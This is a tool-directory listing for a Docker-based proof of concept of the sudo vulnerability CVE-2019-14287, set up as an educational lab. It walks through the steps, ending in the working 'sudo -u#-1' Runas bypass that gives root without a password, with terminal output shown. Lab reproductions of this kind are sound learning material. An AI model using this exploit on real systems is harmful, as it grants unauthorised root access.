Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc-cve-2019-14287 — Docker-based PoC demonstrating CVE-2019-14287 sudo privilege escalation via Runas user restriction bypass, with step-by-step reproduction instructions. | Kitploit
Tools/GitHubGitHub/lemonadern/poc-cve-2019-14287
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHublemonadern/poc-cve-2019-14287

poc-cve-2019-14287

Docker-based PoC demonstrating CVE-2019-14287 sudo privilege escalation via Runas user restriction bypass, with step-by-step reproduction instructions.

View Repository
141 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC of CVE-2019-14287

Overview

This is a sample that reproduces the sudo vulnerability (CVE-2019-14287) on a Docker container.

Exercise Steps

  1. Start the container with docker compose up -d
  2. Enter the container with docker exec -it vulnerable_sudo_app bash
  3. Execute whoami and id commands to confirm you are a regular user (not root)
    root@kitploit:~
    $ whoami
    user1
    $ id
    uid=1000(user1) gid=1000(user1) groups=1000(user1)
    $ id -u
    1000
    
  4. Verify that sudo -u#0 whoami and sudo -u#0 id -u cannot be executed
    • Specify uid (-u option) as 0 (root)
    • You are prompted for a password, but since you do not know it, execution fails
    root@kitploit:~
    $ sudo -u#0 whoami
    [sudo] password for user1:
    $ sudo -u#0 id
    [sudo] password for user1:
    $ sudo -u#0 id -u
    [sudo] password for user1:
    
  5. Execute sudo -u#-1 whoami and sudo -u#-1 id -u to confirm that commands can be executed as root without authentication (reproducing the vulnerability)
    • The same can be done with -u#4294967295
    root@kitploit:~
    $ sudo -u#-1 whoami
    root
    $ sudo -u#-1 id
    uid=0(root) gid=1000(user1) groups=1000(user1)
    $ sudo -u#-1 id -u
    0
    

References

  • CVE - CVE-2019-14287
  • Potential bypass of Runas user restrictions | Sudo
  • sudoの脆弱性(CVE-2019-14287)についてまとめてみた - Qiita
Download Tool